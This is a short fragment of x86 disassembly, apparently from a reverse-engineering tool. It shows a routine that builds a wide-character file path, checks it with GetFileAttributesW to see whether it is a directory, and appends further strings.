mov word [esi + ecx*2], ax
sub ecx, 1
jns 0x408a57
mov edx, dword [ebp + 8]
mov ecx, edx
push edi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408a72
sub ecx, edi
sar ecx, 1
pop edi
je 0x408aa3
push edx
push 0x800
push esi
call fcn.00410950
push 0x446180
push 0x800
push esi
call fcn.00410950
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x408ab3
test al, 0x10
jne 0x408abb
push 0
push esi
call fcn.00406170
push ebx
push 0x800
push esi
call fcn.00410950
add esp, 0xc
mov al, 1
pop esi
pop ebx
pop ebp
ret 0xc